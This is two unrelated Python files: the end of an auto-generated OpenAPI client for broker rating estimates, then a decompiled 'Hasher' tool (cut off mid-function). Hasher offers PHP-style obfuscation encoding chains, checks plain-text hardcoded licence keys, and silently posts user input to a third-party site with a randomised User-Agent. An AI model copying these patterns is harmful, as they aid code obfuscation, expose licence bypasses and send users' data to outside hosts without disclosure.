Buy, Hold, Sell, Overweight, and Underweight. The `startDate` and `endDate` parameters controls the range of perspective dates. By default, the service will return the range of estimateDates within the latest company's reporting period. As you expand the date range, additional full historical reporting periods and all ratings estimateDates per broker will be returned. # noqa: E501 This method makes a synchronous HTTP request. Returns http data, http status and headers Args: detail_ratings_request (DetailRatingsRequest): Request object for Detail Reatings Data Items. Keyword Args: _preload_content (bool): if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. _request_timeout (int/float/tuple): timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. Default is None. _check_input_type (bool): specifies if type checking should be done one the data sent to the server. Default is True. _check_return_type (bool): specifies if type checking should be done one the data received from the server. Default is True. _spec_property_naming (bool): True if the variable names in the input data are serialized names, as specified in the OpenAPI document. False if the variable names in the input data are pythonic names, e.g. snake case (default) _content_type (str/None): force body content-type. Default is None and content-type will be predicted by allowed content-types and body. _host_index (int/None): specifies the index of the server that we want to use. Default is read from the configuration. Returns: DetailRatingsResponse Response Object int Http Status Code dict Dictionary of the response headers """ self.apply_kwargs_defaults(kwargs=kwargs, return_http_data_only=False, async_req=False) kwargs['detail_ratings_request'] = \ detail_ratings_request return self.get_detail_ratings_for_list_endpoint.call_with_http_info(**kwargs) def get_detail_ratings_for_list_async( self, detail_ratings_request, **kwargs ) -> "ApplyResult[DetailRatingsResponse]": """Broker Detail estimates to fetch Buy, Overweight, Hold, Underweight, and Sell. # noqa: E501 Retrieves the Broker Level ratings for the requested Id and date range. Ratings include Buy, Hold, Sell, Overweight, and Underweight. The `startDate` and `endDate` parameters controls the range of perspective dates. By default, the service will return the range of estimateDates within the latest company's reporting period. As you expand the date range, additional full historical reporting periods and all ratings estimateDates per broker will be returned. # noqa: E501 This method makes a asynchronous HTTP request. Returns the http data, wrapped in ApplyResult Args: detail_ratings_request (DetailRatingsRequest): Request object for Detail Reatings Data Items. Keyword Args: _preload_content (bool): if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. _request_timeout (int/float/tuple): timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. Default is None. _check_input_type (bool): specifies if type checking should be done one the data sent to the server. Default is True. _check_return_type (bool): specifies if type checking should be done one the data received from the server. Default is True. _spec_property_naming (bool): True if the variable names in the input data are serialized names, as specified in the OpenAPI document. False if the variable names in the input data are pythonic names, e.g. snake case (default) _content_type (str/None): force body content-type. Default is None and content-type will be predicted by allowed content-types and body. _host_index (int/None): specifies the index of the server that we want to use. Default is read from the configuration. Returns: ApplyResult[DetailRatingsResponse] """ self.apply_kwargs_defaults(kwargs=kwargs, return_http_data_only=True, async_req=True) kwargs['detail_ratings_request'] = \ detail_ratings_request return self.get_detail_ratings_for_list_endpoint.call_with_http_info(**kwargs) def get_detail_ratings_for_list_with_http_info_async( self, detail_ratings_request, **kwargs ) -> "ApplyResult[typing.Tuple[DetailRatingsResponse, int, typing.MutableMapping]]": """Broker Detail estimates to fetch Buy, Overweight, Hold, Underweight, and Sell. # noqa: E501 Retrieves the Broker Level ratings for the requested Id and date range. Ratings include Buy, Hold, Sell, Overweight, and Underweight. The `startDate` and `endDate` parameters controls the range of perspective dates. By default, the service will return the range of estimateDates within the latest company's reporting period. As you expand the date range, additional full historical reporting periods and all ratings estimateDates per broker will be returned. # noqa: E501 This method makes a asynchronous HTTP request. Returns http data, http status and headers, wrapped in ApplyResult Args: detail_ratings_request (DetailRatingsRequest): Request object for Detail Reatings Data Items. Keyword Args: _preload_content (bool): if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. _request_timeout (int/float/tuple): timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. Default is None. _check_input_type (bool): specifies if type checking should be done one the data sent to the server. Default is True. _check_return_type (bool): specifies if type checking should be done one the data received from the server. Default is True. _spec_property_naming (bool): True if the variable names in the input data are serialized names, as specified in the OpenAPI document. False if the variable names in the input data are pythonic names, e.g. snake case (default) _content_type (str/None): force body content-type. Default is None and content-type will be predicted by allowed content-types and body. _host_index (int/None): specifies the index of the server that we want to use. Default is read from the configuration. Returns: ApplyResult[(DetailRatingsResponse, int, typing.Dict)] """ self.apply_kwargs_defaults(kwargs=kwargs, return_http_data_only=False, async_req=True) kwargs['detail_ratings_request'] = \ detail_ratings_request return self.get_detail_ratings_for_list_endpoint.call_with_http_info(**kwargs)

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3a96f7ee54d1a9bebecdccdb69a1793ea816cce1

40,087

py

Python

Hasher/hasher_dec.py

Alpha-Demon404/RE-14

b5b46a9f0eee218f2a642b615c77135c33c6f4ad

[ "MIT" ]

39

2020-02-26T09:44:36.000Z

2022-03-23T00:18:25.000Z

Hasher/hasher_dec.py

B4BY-DG/reverse-enginnering

b5b46a9f0eee218f2a642b615c77135c33c6f4ad

[ "MIT" ]

15

2020-05-14T10:07:26.000Z

2022-01-06T02:55:32.000Z

Hasher/hasher_dec.py

B4BY-DG/reverse-enginnering

b5b46a9f0eee218f2a642b615c77135c33c6f4ad

[ "MIT" ]

41

2020-03-16T22:36:38.000Z

2022-03-17T14:47:19.000Z

# Decompiled At : Fri Apr 10 19:36:05 WIB 2020 # Python bytecode 2.7 import requests, os, random, sys, time, subprocess as sp from bs4 import BeautifulSoup as bs G0 = '\x1b[0;32m' G1 = '\x1b[1;32m' C0 = '\x1b[0;36m' C1 = '\x1b[1;36m' P0 = '\x1b[0;35m' P1 = '\x1b[1;35m' W0 = '\x1b[0;37m' W1 = '\x1b[1;37m' B0 = '\x1b[0;34m' B1 = '\x1b[1;34m' R0 = '\x1b[0;31m' R1 = '\x1b[1;31m' Y1 = '\x1b[1;33m' Y0 = '\x1b[0;33m' BG = '\x1b[1;97;41m' RE = '\x1b[0m' hijau = '\x1b[32m' cyan = '\x1b[36m' kuning = '\x1b[33;1m' ungu = '\x1b[35m' putih = '\x1b[37m' merah = '\x1b[31m' biru = '\x1b[34m' tip = '%s [%sPilih Tipenya%s]\n%s [%s1%s]%s Encrypt\n%s [%s2%s]%s Decrypt\n' % (putih, cyan, putih, putih, merah, putih, hijau, putih, merah, putih, hijau) def spin(): try: L = '\\|/-' for q in range(10): time.sleep(0.1) sys.stdout.write('\r\x1b[1;32m[\x1b[1;33m' + L[(q % len(L))] + '\x1b[1;32m]\x1b[0;37m Loading please wait...') sys.stdout.flush() except: exit() def ketik(teks): for i in teks + '\n': sys.stdout.write(i) sys.stdout.flush() time.sleep(0.001) def load(word): lix = [ '/', '-', '\xe2\x95\xb2', '|'] for i in range(6): for x in range(len(lix)): sys.stdout.write(('\r{}{}').format(str(word), lix[x])) time.sleep(0.2) sys.stdout.flush() licen = '\n %s[%sLICENSE HASHER%s]%sv0.1\n %s|>%s Tenang Licensenya Gratis kok %s<|\n %s|> %s[%sA%s] %sTEKAN A UNTUK CHAT ADMIN %s<|\n' % (merah, putih, merah, kuning, merah, cyan, merah, merah, putih, hijau, putih, cyan, merah) def metu(): print '%s[%sx%s] %sExiting Program' % (W1, R1, W1, R0) exit(1) def main1(): print '\x1b[37m===============================================' print '\x1b[32m\xe2\x96\x88\xe2\x96\x88\x1b[31m\xe2\x95\x97 \x1b[32m\xe2\x96\x88\xe2\x96\x88\x1b[31m\xe2\x95\x97 \x1b[32m\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\x1b[31m\xe2\x95\x97 \x1b[32m\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\x1b[31m\xe2\x95\x97\x1b[32m\xe2\x96\x88\xe2\x96\x88\x1b[31m\xe2\x95\x97 \x1b[32m\xe2\x96\x88\xe2\x96\x88\x1b[31m\xe2\x95\x97\x1b[32m\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\x1b[31m\xe2\x95\x97\x1b[32m\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\x1b[31m\xe2\x95\x97' print '\x1b[32m\xe2\x96\x88\xe2\x96\x88\x1b[31m\xe2\x95\x91 \x1b[32m\xe2\x96\x88\xe2\x96\x88\x1b[31m\xe2\x95\x91\x1b[32m\xe2\x96\x88\xe2\x96\x88\x1b[31m\xe2\x95\x94\xe2\x95\x90\xe2\x95\x90\x1b[32m\xe2\x96\x88\xe2\x96\x88\x1b[31m\xe2\x95\x97\x1b[32m\xe2\x96\x88\xe2\x96\x88\x1b[31m\xe2\x95\x94\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x9d\x1b[32m\xe2\x96\x88\xe2\x96\x88\x1b[31m\xe2\x95\x91 \x1b[32m\xe2\x96\x88\xe2\x96\x88\x1b[31m\xe2\x95\x91\x1b[32m\xe2\x96\x88\xe2\x96\x88\x1b[31m\xe2\x95\x94\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x9d\x1b[32m\xe2\x96\x88\xe2\x96\x88\x1b[31m\xe2\x95\x94\xe2\x95\x90\xe2\x95\x90\x1b[32m\xe2\x96\x88\xe2\x96\x88\x1b[31m\xe2\x95\x97' print '\x1b[32m\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\x1b[31m\xe2\x95\x91\x1b[32m\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\x1b[31m\xe2\x95\x91\x1b[32m\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\x1b[31m\xe2\x95\x97\x1b[32m\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\x1b[31m\xe2\x95\x91\x1b[32m\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\x1b[31m\xe2\x95\x97 \x1b[32m\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\x1b[31m\xe2\x95\x94\xe2\x95\x9d' print '\x1b[32m\xe2\x96\x88\xe2\x96\x88\x1b[31m\xe2\x95\x94\xe2\x95\x90\xe2\x95\x90\x1b[32m\xe2\x96\x88\xe2\x96\x88\x1b[31m\xe2\x95\x91\x1b[32m\xe2\x96\x88\xe2\x96\x88\x1b[31m\xe2\x95\x94\xe2\x95\x90\xe2\x95\x90\x1b[32m\xe2\x96\x88\xe2\x96\x88\x1b[31m\xe2\x95\x91\xe2\x95\x9a\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\x1b[32m\xe2\x96\x88\xe2\x96\x88\x1b[31m\xe2\x95\x91\x1b[32m\xe2\x96\x88\xe2\x96\x88\x1b[31m\xe2\x95\x94\xe2\x95\x90\xe2\x95\x90\x1b[32m\xe2\x96\x88\xe2\x96\x88\x1b[31m\xe2\x95\x91\x1b[32m\xe2\x96\x88\xe2\x96\x88\x1b[31m\xe2\x95\x94\xe2\x95\x90\xe2\x95\x90\xe2\x95\x9d \x1b[32m\xe2\x96\x88\xe2\x96\x88\x1b[31m\xe2\x95\x94\xe2\x95\x90\xe2\x95\x90\x1b[32m\xe2\x96\x88\xe2\x96\x88\x1b[31m\xe2\x95\x97' print '\x1b[32m\xe2\x96\x88\xe2\x96\x88\x1b[31m\xe2\x95\x91 \x1b[32m\xe2\x96\x88\xe2\x96\x88\x1b[31m\xe2\x95\x91\x1b[32m\xe2\x96\x88\xe2\x96\x88\x1b[31m\xe2\x95\x91 \x1b[32m\xe2\x96\x88\xe2\x96\x88\x1b[31m\xe2\x95\x91\x1b[32m\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\x1b[31m\xe2\x95\x91\x1b[32m\xe2\x96\x88\xe2\x96\x88\x1b[31m\xe2\x95\x91 \x1b[32m\xe2\x96\x88\xe2\x96\x88\x1b[31m\xe2\x95\x91\x1b[32m\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\x1b[31m\xe2\x95\x97\x1b[32m\xe2\x96\x88\xe2\x96\x88\x1b[31m\xe2\x95\x91 \x1b[32m\xe2\x96\x88\xe2\x96\x88\x1b[31m\xe2\x95\x91' print '\x1b[31m\xe2\x95\x9a\xe2\x95\x90\xe2\x95\x9d \xe2\x95\x9a\xe2\x95\x90\xe2\x95\x9d\xe2\x95\x9a\xe2\x95\x90\xe2\x95\x9d \xe2\x95\x9a\xe2\x95\x90\xe2\x95\x9d\xe2\x95\x9a\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x9d\xe2\x95\x9a\xe2\x95\x90\xe2\x95\x9d \xe2\x95\x9a\xe2\x95\x90\xe2\x95\x9d\xe2\x95\x9a\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x9d\xe2\x95\x9a\xe2\x95\x90\xe2\x95\x9d \xe2\x95\x9a\xe2\x95\x90\xe2\x95\x9d' print ' \x1b[31m[\x1b[37mAuthor\x1b[31m]=[ \x1b[36mRizky ID' print ' \x1b[31m[\x1b[37mCreate\x1b[31m]=[ \x1b[36m8 April 2020' print ' \x1b[31m[\x1b[37mFungsi\x1b[31m]=[ \x1b[36mEncrypt/Decrypt' print '\x1b[37m===============================================' ban = '\n\x1b[37m{\x1b[31m01\x1b[37m} \x1b[32mURL\n\x1b[37m{\x1b[31m02\x1b[37m} \x1b[32mBASE64\n\x1b[37m{\x1b[31m03\x1b[37m} \x1b[32mCONFERT_UU\n\x1b[37m{\x1b[31m04\x1b[37m} \x1b[32mJSON\n\x1b[37m{\x1b[31m05\x1b[37m} \x1b[32mGZINFLATE - BASE64\n\x1b[37m{\x1b[31m06\x1b[37m} \x1b[32mSTR_ROT13 - BASE64\n\x1b[37m{\x1b[31m07\x1b[37m} \x1b[32mSTR_ROT13 - GZINFLATE - BASE64\n\x1b[37m{\x1b[31m08\x1b[37m} \x1b[32mGZINFLATE - STR_ROT13 - BASE64\n\x1b[37m{\x1b[31m09\x1b[37m} \x1b[32mGZINFLATE - STR_ROT13 - GZINFLATE - BASE64\n\x1b[37m{\x1b[31m10\x1b[37m} \x1b[32mSTR_ROT13 - CONVERT_UU - URL - GZINFLATE -\n\x1b[37m \x1b[32mSTR_ROT13 - BASE64 - CONVERT_UU - GZINFLATE -\n \x1b[37m \x1b[32mURL - STR_ROT13 - GZINFLATE - BASE64\n\x1b[37m{\x1b[31m11\x1b[37m} \x1b[32mSTR_ROT13 - GZINFLATE - STR_ROT13 - BASE64\n\x1b[37m{\x1b[31m12\x1b[37m} \x1b[32mBASE64 - GZINFLATE - STR_ROT13 - CONVERT_UU -\n \x1b[37m \x1b[32mGZINFLATE - BASE64\n\x1b[37m{\x1b[31m13\x1b[37m} \x1b[32mHEX ENCODE-DECODE\n\x1b[37m{\x1b[31m14\x1b[37m} \x1b[32mMD5 HASH\n\x1b[37m{\x1b[31m15\x1b[37m} \x1b[32mSHA1 HASH\n\x1b[37m{\x1b[31m16\x1b[37m} \x1b[32mROT13 HASH\n\x1b[37m{\x1b[31m17\x1b[37m} \x1b[32mSTRLEN\n\x1b[37m{\x1b[31m18\x1b[37m} \x1b[32mUNESCAPE\n\x1b[37m{\x1b[31m19\x1b[37m} \x1b[32mCHAR AT\n\x1b[37m{\x1b[31m20\x1b[37m} \x1b[32mCHR - BIN2HEX - SUBSTR\n\x1b[37m{\x1b[31m21\x1b[37m} \x1b[32mCHR\n\x1b[37m{\x1b[31m22\x1b[37m} \x1b[32mHTMLSPECIALCHARS\n\x1b[37m{\x1b[31m23\x1b[37m} \x1b[32mESCAPE\n\x1b[37m{\x1b[31m24\x1b[37m} \x1b[32mAUTO HASH\n\x1b[37m===============================================\n\x1b[31m[\x1b[37mC\x1b[31m]=[ \x1b[35mCHAT ADMIN\n\x1b[31m[\x1b[37mF\x1b[31m]=[ \x1b[35mFOLLOW ADMIN\n\x1b[31m[\x1b[37mE\x1b[31m]=[ \x1b[31mEXIT PROGRAM\n\x1b[37m===============================================\n' def main(): os.system('clear') main1() print ban pilih = raw_input('%s >>>>%s ' % (biru, hijau)) if pilih == '1' or pilih == '01': e1() elif pilih == '2' or pilih == '02': e2() elif pilih == '3' or pilih == '03': e3() elif pilih == '4' or pilih == '04': e4() elif pilih == '5' or pilih == '05': e5() elif pilih == '6' or pilih == '06': e6() elif pilih == '7' or pilih == '07': e7() elif pilih == '8' or pilih == '08': e8() elif pilih == '9' or pilih == '09': e9() elif pilih == '10': e10() elif pilih == '11': e11() elif pilih == '12': e12() elif pilih == '13': e13() elif pilih == '14': e14() elif pilih == '15': e15() elif pilih == '16': e16() elif pilih == '17': e17() elif pilih == '18': e18() elif pilih == '19': e19() elif pilih == '20': e20() elif pilih == '21': e21() elif pilih == '22': e22() elif pilih == '23': e23() elif pilih == '24': auto() elif pilih == 'C' or pilih == 'c': print chat = raw_input('\x1b[1;32m[\x1b[1;33m#\x1b[1;32m] \x1b[0;37mIsi pesan mu : ') chat.replace(' ', '%20') spin() sp.check_output(['am', 'start', 'https://api.whatsapp.com/send?phone=6288261764938&text=HASHER : ' + chat + '']) main() elif pilih == 'F' or pilih == 'f': os.system('xdg-open https://www.instagram.com/riski_1504') sys.exit() elif pilih == 'E' or pilih == 'e': print '%s(%s!%s) %sKeluar' % (putih, merah, putih, merah) sys.exit() def muat(): m = ['1', '2', '3', '4', '5', '6', '7', '8', '9', '10', '11', '12', '13', '14', '15', '16', '17', '18', '19', '20', '21', '22', '23', '24', '25', '26', '27', '28', '29', '30', '31', '32', '33', '34', '35', '36', '37', '38', '39', '40', '41', '42', '43', '44', '45', '46', '47', '48', '49', '50', '51', '52', '53', '54', '55', '56', '57', '58', '59', '60', '61', '62', '63', '64', '65', '66', '67', '68', '69', '70', '71', '72', '73', '74', '75', '76', '77', '78', '79', '80', '81', '82', '83', '84', '85', '86', '87', '88', '89', '90', '91', '92', '93', '94', '95', '96', '97', '98', '99', '100'] print for b in m: sys.stdout.write('\r' + putih + '[' + cyan + '#' + putih + ']' + putih + ' Sedang Menghubungkan' + merah + ' [' + hijau + b + putih + '%' + merah + ']') sys.stdout.flush() time.sleep(0.1) time.sleep(0.1) def pilih(): os.system('clear') print licen mana = raw_input('\n%s(%s!%s)%s Masukan License%s :%s ' % (putih, merah, putih, putih, merah, hijau)) if mana == '': print '%s(%s!%s)%s Jangan Kosong' % (putih, merah, putih, merah) pilih() elif mana in ('mikuna5bq2kuu', 'Abogabegaefi1y3'): muat() print '\n %s>>>>> %sLICENSE OK %s<<<<<' % (biru, hijau, biru) time.sleep(2) main() elif mana in ('pinajquaqjuabb', 'macet52aaremkunek'): muat() print '\n %s>>>>> %sLICENSE OK %s<<<<<' % (biru, hijau, biru) time.sleep(2) main() elif mana in ('kahwbwbana77ahwg', 'piquennadrakqma147aa'): muat() print '\n %s>>>>> %sLICENSE OK %s<<<<<' % (biru, hijau, biru) time.sleep(2) main() elif mana in ('ajagagahahavqgayag', 'jakamwnabagajuquaiw9'): muat() print '\n %s>>>>> %sLICENSE OK %s<<<<<' % (biru, hijau, biru) time.sleep(2) main() elif mana in ('aiqiqnabah181jq17', 'hahquw72j18qjq8q'): muat() print '\n %s>>>>> %sLICENSE OK %s<<<<<' % (biru, hijau, biru) time.sleep(2) main() elif mana in ('jahafw71816262baha5', 'jajwhqha618191gwgw6j'): muat() print '\n %s>>>>> %sLICENSE OK %s<<<<<' % (biru, hijau, biru) time.sleep(2) main() elif mana in ('jauwiw816w5wywhwbwgqu', 'jayayqiqkqbagauqj'): muat() print '\n %s>>>>> %sLICENSE OK %s<<<<<' % (biru, hijau, biru) time.sleep(2) main() elif mana in ('quqiaha8172baiq9', 'kauqiqnaba17q9qb'): muat() print '\n %s>>>>> %sLICENSE OK %s<<<<<' % (biru, hijau, biru) time.sleep(2) main() elif mana in ('riski_1504instagram', 'rizkyganz1504kahquah'): muat() print '\n %s>>>>> %sLICENSE OK %s<<<<<' % (biru, hijau, biru) time.sleep(2) main() elif mana in ('iakwajaahwggwhaa817oqja', 'facebookrizkyid111'): muat() print '\n %s>>>>> %sLICENSE OK %s<<<<<' % (biru, hijau, biru) time.sleep(2) main() elif mana in ('===bwjabase64ajaagja', 'baagbav-base64baf=='): muat() print '\n %s>>>>> %sLICENSE OK %s<<<<<' % (biru, hijau, biru) time.sleep(2) main() elif mana in ('mueheheheeh525y2qgqh', 'makanyajangangoblokxxx'): muat() print '\n %s>>>>> %sLICENSE OK %s<<<<<' % (biru, hijau, biru) time.sleep(2) main() elif mana in ('ahyauqhwha6w8qhagagi', 'aajaba7w52uabw8wh'): muat() print '\n %s>>>>> %sLICENSE OK %s<<<<<' % (biru, hijau, biru) time.sleep(2) main() elif mana in ('A', 'a'): print chat = raw_input('\x1b[1;32m[\x1b[1;33m#\x1b[1;32m] \x1b[0;37mIsi pesan mu : ') chat.replace(' ', '%20') spin() sp.check_output(['am', 'start', 'https://api.whatsapp.com/send?phone=6288261764938&text=HASHER : ' + chat + '']) main() else: muat() print '\n %s>>>>>%s License Wrong%s <<<<<' % (biru, merah, biru) time.sleep(2) pilih() def enc(hash, tp, tipe): spin() agent = requests.get('https://pastebin.com/raw/QckwZTMc').text.split('\n') acak = random.choice(agent) dat = {'mbutt': hash, 'ope': tp, 'submit': tipe} a = requests.post('http://tools-ixid.ga/enc-dec.php', headers={'User-Agent': '{acak}'}, data=dat) b = bs(a.content, 'html.parser') c = b.find_all('textarea')[1] d = c.text print '\n\x1b[1;32m[\x1b[1;33m>\x1b[1;32m] \x1b[1;37mResult : ' + d print raw_input('\n\x1b[32m [ \x1b[31menter to back menu \x1b[32m] ') main() def dec(hash, tp, tipe): spin() agent = requests.get('https://pastebin.com/raw/QckwZTMc').text.split('\n') acak = random.choice(agent) dat = {'mbutt': hash, 'ope': tp, 'crack': tipe} a = requests.post('http://tools-ixid.ga/enc-dec.php', headers={'User-Agent': '{acak}'}, data=dat) b = bs(a.content, 'html.parser') c = b.find_all('textarea')[1] d = c.text print '\n\x1b[1;32m[\x1b[1;33m>\x1b[1;32m] \x1b[1;37mResult : ' + d print raw_input('\n\x1b[32m [ \x1b[31menter to back menu \x1b[32m] ') main() def e1(): print '' print tip pil = raw_input('\x1b[1;32m[\x1b[1;33m?\x1b[1;32m] \x1b[1;37mPilih: ') if pil == '': print '%s[%s!%s] %sJangan kosong' % (G1, R1, G1, W0) time.sleep(0.8) e1() elif pil == '1': hash = raw_input('\x1b[1;32m[\x1b[1;33m#\x1b[1;32m] \x1b[1;37mMasukkan kode mu: ') if hash == '': print '%s[%s!%s] %sJangan kosong' % (G1, R1, G1, W0) time.sleep(0.8) e1() tp = 'urlencode' tipe = 'ENCODE' enc(hash, tp, tipe) elif pil == '2': hash = raw_input('\x1b[1;32m[\x1b[1;33m#\x1b[1;32m] \x1b[1;37mMasukkan kode mu: ') if hash == '': print '%s[%s!%s] %sJangan kosong' % (G1, R1, G1, W0) time.sleep(0.8) e1() tp = 'urlencode' tipe = 'DECODE' dec(hash, tp, tipe) else: print '%s[%s!%s] %sPilihan anda salah' % (G1, R1, G1, W0) e1() def e2(): print '' print tip pil = raw_input('\x1b[1;32m[\x1b[1;33m?\x1b[1;32m] \x1b[1;37mPilih: ') if pil == '': print '%s[%s!%s] %sJangan kosong' % (G1, R1, G1, W0) time.sleep(0.8) e2() elif pil == '1': hash = raw_input('\x1b[1;32m[\x1b[1;33m#\x1b[1;32m] \x1b[1;37mMasukkan kode mu: ') if hash == '': print '%s[%s!%s] %sJangan kosong' % (G1, R1, G1, W0) time.sleep(0.8) e2() tp = 'base64' tipe = 'ENCODE' enc(hash, tp, tipe) elif pil == '2': hash = raw_input('\x1b[1;32m[\x1b[1;33m#\x1b[1;32m] \x1b[1;37mMasukkan kode mu: ') if hash == '': print '%s[%s!%s] %sJangan kosong' % (G1, R1, G1, W0) time.sleep(0.8) e2() tp = 'base64' tipe = 'DECODE' dec(hash, tp, tipe) else: print '%s[%s!%s] %sPilihan anda salah' % (G1, R1, G1, W0) e2() def e3(): print '' print tip pil = raw_input('\x1b[1;32m[\x1b[1;33m?\x1b[1;32m] \x1b[1;37mPilih: ') if pil == '': print '%s[%s!%s] %sJangan kosong' % (G1, R1, G1, W0) time.sleep(0.8) e3() elif pil == '1': hash = raw_input('\x1b[1;32m[\x1b[1;33m#\x1b[1;32m] \x1b[1;37mMasukkan kode mu: ') if hash == '': print '%s[%s!%s] %sJangan kosong' % (G1, R1, G1, W0) time.sleep(0.8) e3() tp = 'ur' tipe = 'ENCODE' enc(hash, tp, tipe) elif pil == '2': hash = raw_input('\x1b[1;32m[\x1b[1;33m#\x1b[1;32m] \x1b[1;37mMasukkan kode mu: ') if hash == '': print '%s[%s!%s] %sJangan kosong' % (G1, R1, G1, W0) time.sleep(0.8) e3() tp = 'ur' tipe = 'DECODE' dec(hash, tp, tipe) else: print '%s[%s!%s] %sPilihan anda salah' % (G1, R1, G1, W0) e3() def e4(): print '' print tip pil = raw_input('\x1b[1;32m[\x1b[1;33m?\x1b[1;32m] \x1b[1;37mPilih: ') if pil == '': print '%s[%s!%s] %sJangan kosong' % (G1, R1, G1, W0) time.sleep(0.8) e4() elif pil == '1': hash = raw_input('\x1b[1;32m[\x1b[1;33m#\x1b[1;32m] \x1b[1;37mMasukkan kode mu: ') if hash == '': print '%s[%s!%s] %sJangan kosong' % (G1, R1, G1, W0) time.sleep(0.8) e4() tp = 'json' tipe = 'ENCODE' enc(hash, tp, tipe) elif pil == '2': hash = raw_input('\x1b[1;32m[\x1b[1;33m#\x1b[1;32m] \x1b[1;37mMasukkan kode mu: ') if hash == '': print '%s[%s!%s] %sJangan kosong' % (G1, R1, G1, W0) time.sleep(0.8) e4() tp = 'json' tipe = 'DECODE' dec(hash, tp, tipe) else: print '%s[%s!%s] %sPilihan anda salah' % (G1, R1, G1, W0) e4() def e5(): print '' print tip pil = raw_input('\x1b[1;32m[\x1b[1;33m?\x1b[1;32m] \x1b[1;37mPilih: ') if pil == '': print '%s[%s!%s] %sJangan kosong' % (G1, R1, G1, W0) time.sleep(0.8) e5() elif pil == '1': hash = raw_input('\x1b[1;32m[\x1b[1;33m#\x1b[1;32m] \x1b[1;37mMasukkan kode mu: ') if hash == '': print '%s[%s!%s] %sJangan kosong' % (G1, R1, G1, W0) time.sleep(0.8) e5() tp = 'gzinflates' tipe = 'ENCODE' enc(hash, tp, tipe) elif pil == '2': hash = raw_input('\x1b[1;32m[\x1b[1;33m#\x1b[1;32m] \x1b[1;37mMasukkan kode mu: ') if hash == '': print '%s[%s!%s] %sJangan kosong' % (G1, R1, G1, W0) time.sleep(0.8) e5() tp = 'gzinflates' tipe = 'DECODE' dec(hash, tp, tipe) else: print '%s[%s!%s] %sPilihan anda salah' % (G1, R1, G1, W0) e5() def e6(): print '' print tip pil = raw_input('\x1b[1;32m[\x1b[1;33m?\x1b[1;32m] \x1b[1;37mPilih: ') if pil == '': print '%s[%s!%s] %sJangan kosong' % (G1, R1, G1, W0) time.sleep(0.8) e6() elif pil == '1': hash = raw_input('\x1b[1;32m[\x1b[1;33m#\x1b[1;32m] \x1b[1;37mMasukkan kode mu: ') if hash == '': print '%s[%s!%s] %sJangan kosong' % (G1, R1, G1, W0) time.sleep(0.8) e6() tp = 'str2' tipe = 'ENCODE' enc(hash, tp, tipe) elif pil == '2': hash = raw_input('\x1b[1;32m[\x1b[1;33m#\x1b[1;32m] \x1b[1;37mMasukkan kode mu: ') if hash == '': print '%s[%s!%s] %sJangan kosong' % (G1, R1, G1, W0) time.sleep(0.8) e6() tp = 'str2' tipe = 'DECODE' dec(hash, tp, tipe) else: print '%s[%s!%s] %sPilihan anda salah' % (G1, R1, G1, W0) e6() def e7(): print '' print tip pil = raw_input('\x1b[1;32m[\x1b[1;33m?\x1b[1;32m] \x1b[1;37mPilih: ') if pil == '': print '%s[%s!%s] %sJangan kosong' % (G1, R1, G1, W0) time.sleep(0.8) e7() elif pil == '1': hash = raw_input('\x1b[1;32m[\x1b[1;33m#\x1b[1;32m] \x1b[1;37mMasukkan kode mu: ') if hash == '': print '%s[%s!%s] %sJangan kosong' % (G1, R1, G1, W0) time.sleep(0.8) e7() tp = 'gzinflate' tipe = 'ENCODE' enc(hash, tp, tipe) elif pil == '2': hash = raw_input('\x1b[1;32m[\x1b[1;33m#\x1b[1;32m] \x1b[1;37mMasukkan kode mu: ') if hash == '': print '%s[%s!%s] %sJangan kosong' % (G1, R1, G1, W0) time.sleep(0.8) e7() tp = 'gzinflate' tipe = 'DECODE' dec(hash, tp, tipe) else: print '%s[%s!%s] %sPilihan anda salah' % (G1, R1, G1, W0) e7() def e8(): print '' print tip pil = raw_input('\x1b[1;32m[\x1b[1;33m?\x1b[1;32m] \x1b[1;37mPilih: ') if pil == '': print '%s[%s!%s] %sJangan kosong' % (G1, R1, G1, W0) time.sleep(0.8) e8() elif pil == '1': hash = raw_input('\x1b[1;32m[\x1b[1;33m#\x1b[1;32m] \x1b[1;37mMasukkan kode mu: ') if hash == '': print '%s[%s!%s] %sJangan kosong' % (G1, R1, G1, W0) time.sleep(0.8) e8() tp = 'gzinflater' tipe = 'ENCODE' enc(hash, tp, 